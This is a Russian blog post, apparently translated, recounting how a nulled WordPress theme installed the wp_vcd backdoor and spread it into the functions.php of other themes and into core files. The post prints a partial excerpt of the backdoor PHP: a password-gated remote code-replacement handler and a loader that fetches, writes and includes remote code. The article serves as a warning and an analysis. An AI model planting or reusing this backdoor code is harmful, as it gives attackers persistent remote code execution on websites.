Установка пиратской темы для WordPress, и что последовало за этим

Click here to view original web page at oddstyle.ru

Мне нужно было проверить совместимость Dokan с премиум-темой от ThemeForest. В итоге я решил погуглить и нашел сайт с пиратскими/обнуленными темами. Меня удивило, что они не просят за скачивание денег и не ставят партнерские ссылки. Было очень подозрительно, но я решил загрузить тему и установить ее на свою локальную машину.

Зная, что из-за этого должны были появиться разные неприятности, я перешел к functions.php, изучил его и не нашел ничего странного. Поэтому я нажал «Активировать». Тема заработала. Все было великолепно.

Я углубился в решение проблем с совместимостью между темой и Dokan. После завершения тестирования я перешел к следующему проекту в другой установке WordPress, и тут я обнаружил, что Query Monitor выдал предупреждение.

Проинспектировав тему, я обнаружил, что в верхней части functions.php появился какой-то мусорный код. Но это была совсем другая тема и другая установка WordPress!

03if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) {
04$div_code_name = "wp_vcd";
05switch ($_REQUEST['action']) {
06case 'change_domain';
07if (isset($_REQUEST['newdomain'])) {
08if (!empty($_REQUEST['newdomain'])) {
09if ($file = @file_get_contents(__FILE__)) {
10if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
11$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
12@file_put_contents(__FILE__, $file);
13print "true";
19break;
21case 'change_code';
23if (isset($_REQUEST['newcode'])) {
24if (!empty($_REQUEST['newcode'])) {
25if ($file = @file_get_contents(__FILE__)) {
26if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
27$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']) , $file);
28@file_put_contents(__FILE__, $file);
29print "true";
38print "ERROR_WP_ACTION WP_V_CD WP_CD";
41die("");
44$div_code_name = "wp_vcd";
45$funcfile = __FILE__;
47if (!function_exists('theme_temp_setup')) {
48$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
49if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
50function file_get_contents_tcurl($url)
52$ch = curl_init();
53curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
54curl_setopt($ch, CURLOPT_HEADER, 0);
55curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
56curl_setopt($ch, CURLOPT_URL, $url);
57curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
58$data = curl_exec($ch);
59curl_close($ch);
60return $data;
63function theme_temp_setup($phpCode)
65$tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
66$handle = fopen($tmpfname, "w+");
67if (fwrite($handle, "<?php\n" . $phpCode)) {
69else {
70$tmpfname = tempnam('./', "theme_temp_setup");
71$handle = fopen($tmpfname, "w+");
72fwrite($handle, "<?php\n" . $phpCode);
75fclose($handle);
76include $tmpfname;
78unlink($tmpfname);
79return get_defined_vars();
82$wp_auth_key = '358d76c863c31b2e1a46192808b08590';
84if (stripos($tmpcontent, $wp_auth_key) !== false) {
85extract(theme_temp_setup($tmpcontent));
86@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
87if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
88@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
89if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
90@file_put_contents('wp-tmp.php', $tmpcontent);
96if (stripos($tmpcontent, $wp_auth_key) !== false) {
97extract(theme_temp_setup($tmpcontent));
98@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
99if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
100@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
101if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
102@file_put_contents('wp-tmp.php', $tmpcontent);
108if (stripos($tmpcontent, $wp_auth_key) !== false) {
109extract(theme_temp_setup($tmpcontent));
110@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
111if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
112@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
113if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
114@file_put_contents('wp-tmp.php', $tmpcontent);
119elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
120extract(theme_temp_setup($tmpcontent));
122elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
123extract(theme_temp_setup($tmpcontent));
125elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
126extract(theme_temp_setup($tmpcontent));
131// $start_wp_theme_tmp
133// $end_wp_theme_tmp

Жесть! С помощью этого фрагмента злоумышленник мог внедрить любой код в вашу тему или на ваш сервер. Мне посчастливилось, потому что я не ставил эту тему на рабочий сервер или в хостинг-среду. В противном случае произойти могло всякое. Тема инфицировалась, хотя она была в другой установке. Был шанс, что Twenty Seventeen – не единственная зараженная тема, и это оказалось верно. Все дефолтные темы были заражены — Twenty Fifteen/Sixteen/Seventeen. В общем, все мои установки WordPress на моем компьютере оказались инфицированными. Все файлы functions.php содержали вредоносный код во всех темах.

В итоге я удалил код из functions.php и перешел к другой странице сайта. Однако Query Monitor по-прежнему сообщал о той же самой ошибке. Как такое могло быть? Я открыл файл и увидел, что код опять появился. Соответственно, должно было произойти что-то еще наряду с внедрением кода в тему. Я решил проверить файлы ядра WP.

Естественно, вы не знаете, какой именно файл смотреть, потому вам нужно проверить целостность установки WP. К счастью, команда checksum в wp-cli справляется с этим довольно быстро. И мои опасения подтвердились…

Вредоносный код создавал два новых файла и модифицировал файл ядра в wp-includes. Главный виновник – файл wp-vcd.php. Вот как он выглядит:

Таким образом, даже если вы выявите зараженную тему, вы не устраните лазейку целиком, пока не уберете данный файл. Если вы хотите исследовать зараженный код, вы можете сделать это в следующем gist. Файл wp-includes/post.php был изменен так, чтобы получать wp-vcd.php, если он существует.

Мораль такова: обходите стороной взломанные темы для WordPress. Риски слишком высоки.

Источник: https://tareq.co